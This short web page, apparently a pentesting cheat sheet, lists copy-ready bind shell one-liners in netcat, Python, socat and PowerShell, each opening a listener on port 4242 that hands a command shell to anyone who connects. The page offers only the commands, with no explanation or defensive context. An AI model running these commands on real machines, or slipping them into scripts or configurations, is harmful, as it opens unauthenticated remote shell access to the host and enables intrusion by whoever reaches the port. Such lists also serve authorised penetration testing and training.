Bind Shell Cheat Sheet Tool
📡 Bind Shell Generator
Netcat Bind Shell (Linux)
nc -lvnp 4242 -e /bin/sh
Python Bind Shell (Cross-Platform)
python -c 'import socket,subprocess;s=socket.socket();s.bind(("0.0.0.0",4242));s.listen(1);conn,addr=s.accept();subprocess.call(["/bin/sh","-i"],stdin=conn,stdout=conn,stderr=conn)'
Socat Bind Shell (Linux)
socat TCP-LISTEN:4242,reuseaddr,fork EXEC:/bin/sh
PowerShell Bind Shell (Windows)
powershell -c "$listener=[System.Net.Sockets.TcpListener]4242;$listener.Start();$client=$listener.AcceptTcpClient();$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendbyte=([text.encoding]::ASCII).GetBytes($sendback);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
Comments
Post a Comment